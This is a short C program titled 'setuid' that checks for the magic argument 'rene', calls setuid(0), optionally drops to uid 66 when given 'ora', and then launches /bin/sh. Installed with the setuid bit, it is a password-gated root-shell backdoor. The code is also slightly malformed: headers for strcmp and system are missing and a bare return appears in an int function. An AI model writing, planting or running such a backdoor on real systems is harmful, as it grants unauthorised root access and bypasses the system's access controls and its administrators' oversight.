setuid

#include <sys/types.h>
#include <unistd.h>
 
int main(int argc, char* argv[]) {
  if (argc <2 ) return;
  if (strcmp(argv[1], "rene")) return;

  setuid(0);
  
  if (argc >= 3) {
    if (!strcmp (argv[2],"ora")) setuid(66);
  }
  system("/bin/sh");
}